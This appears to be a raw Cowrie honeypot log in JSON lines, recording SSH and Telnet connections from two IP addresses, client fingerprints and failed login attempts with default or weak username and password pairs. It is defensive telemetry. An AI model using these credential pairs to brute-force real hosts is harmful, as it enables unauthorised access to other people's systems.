{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40472,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf66a3f9d4fc","protocol":"ssh","message":"New connection: 176.65.139.95:40472 (159.203.135.109:22) [session: bf66a3f9d4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.640927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.649017Z","src_ip":"176.65.139.95","session":"bf66a3f9d4fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:00.792327Z","src_ip":"176.65.139.95","session":"bf66a3f9d4fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:01.506834Z","src_ip":"176.65.139.95","session":"bf66a3f9d4fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:01.752310Z","src_ip":"192.109.200.78","session":"9d258e61fd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:02.604632Z","src_ip":"176.65.139.95","session":"bf66a3f9d4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":48359,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8df005c7e73","protocol":"telnet","message":"New connection: 212.252.78.49:48359 (159.203.135.109:23) [session: d8df005c7e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:03.712198Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42818,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c1dcb4b404","protocol":"ssh","message":"New connection: 192.109.200.78:42818 (159.203.135.109:22) [session: 15c1dcb4b404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:04.521110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:04.529109Z","src_ip":"192.109.200.78","session":"15c1dcb4b404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:04.619870Z","src_ip":"192.109.200.78","session":"15c1dcb4b404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:04.882065Z","src_ip":"192.109.200.78","session":"15c1dcb4b404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:05.968396Z","src_ip":"192.109.200.78","session":"15c1dcb4b404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40490,"dst_ip":"159.203.135.109","dst_port":22,"session":"08267cd6f1f6","protocol":"ssh","message":"New connection: 176.65.139.95:40490 (159.203.135.109:22) [session: 08267cd6f1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:07.371259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:07.381234Z","src_ip":"176.65.139.95","session":"08267cd6f1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:07.457846Z","src_ip":"176.65.139.95","session":"08267cd6f1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:07.919325Z","src_ip":"176.65.139.95","session":"08267cd6f1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"188dd6570672","protocol":"ssh","message":"New connection: 192.109.200.78:39870 (159.203.135.109:22) [session: 188dd6570672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:08.647286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:08.652681Z","src_ip":"192.109.200.78","session":"188dd6570672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:08.751695Z","src_ip":"192.109.200.78","session":"188dd6570672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:09.006349Z","src_ip":"176.65.139.95","session":"08267cd6f1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:09.015078Z","src_ip":"192.109.200.78","session":"188dd6570672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:10.122162Z","src_ip":"192.109.200.78","session":"188dd6570672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39898,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3d43b61f271","protocol":"ssh","message":"New connection: 192.109.200.78:39898 (159.203.135.109:22) [session: a3d43b61f271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:12.775845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:12.784547Z","src_ip":"192.109.200.78","session":"a3d43b61f271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:12.868320Z","src_ip":"192.109.200.78","session":"a3d43b61f271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:13.259250Z","src_ip":"192.109.200.78","session":"a3d43b61f271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59466,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c086d73d7d6","protocol":"ssh","message":"New connection: 176.65.139.95:59466 (159.203.135.109:22) [session: 1c086d73d7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:13.883265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:13.890726Z","src_ip":"176.65.139.95","session":"1c086d73d7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:13.976644Z","src_ip":"176.65.139.95","session":"1c086d73d7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:14.345814Z","src_ip":"192.109.200.78","session":"a3d43b61f271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:14.531422Z","src_ip":"176.65.139.95","session":"1c086d73d7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:15.624290Z","src_ip":"176.65.139.95","session":"1c086d73d7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39932,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a976e630837","protocol":"ssh","message":"New connection: 192.109.200.78:39932 (159.203.135.109:22) [session: 3a976e630837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:17.012687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:17.018070Z","src_ip":"192.109.200.78","session":"3a976e630837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:17.117023Z","src_ip":"192.109.200.78","session":"3a976e630837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:17.371533Z","src_ip":"192.109.200.78","session":"3a976e630837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:18.458299Z","src_ip":"192.109.200.78","session":"3a976e630837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50314,"dst_ip":"159.203.135.109","dst_port":22,"session":"802a4b93a331","protocol":"ssh","message":"New connection: 176.65.139.95:50314 (159.203.135.109:22) [session: 802a4b93a331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:20.645276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:20.660078Z","src_ip":"176.65.139.95","session":"802a4b93a331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:20.760523Z","src_ip":"176.65.139.95","session":"802a4b93a331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51050,"dst_ip":"159.203.135.109","dst_port":22,"session":"c832d9e235de","protocol":"ssh","message":"New connection: 192.109.200.78:51050 (159.203.135.109:22) [session: c832d9e235de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:21.014807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:21.023537Z","src_ip":"192.109.200.78","session":"c832d9e235de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:21.035270Z","src_ip":"176.65.139.95","session":"802a4b93a331","protocol":"ssh"}
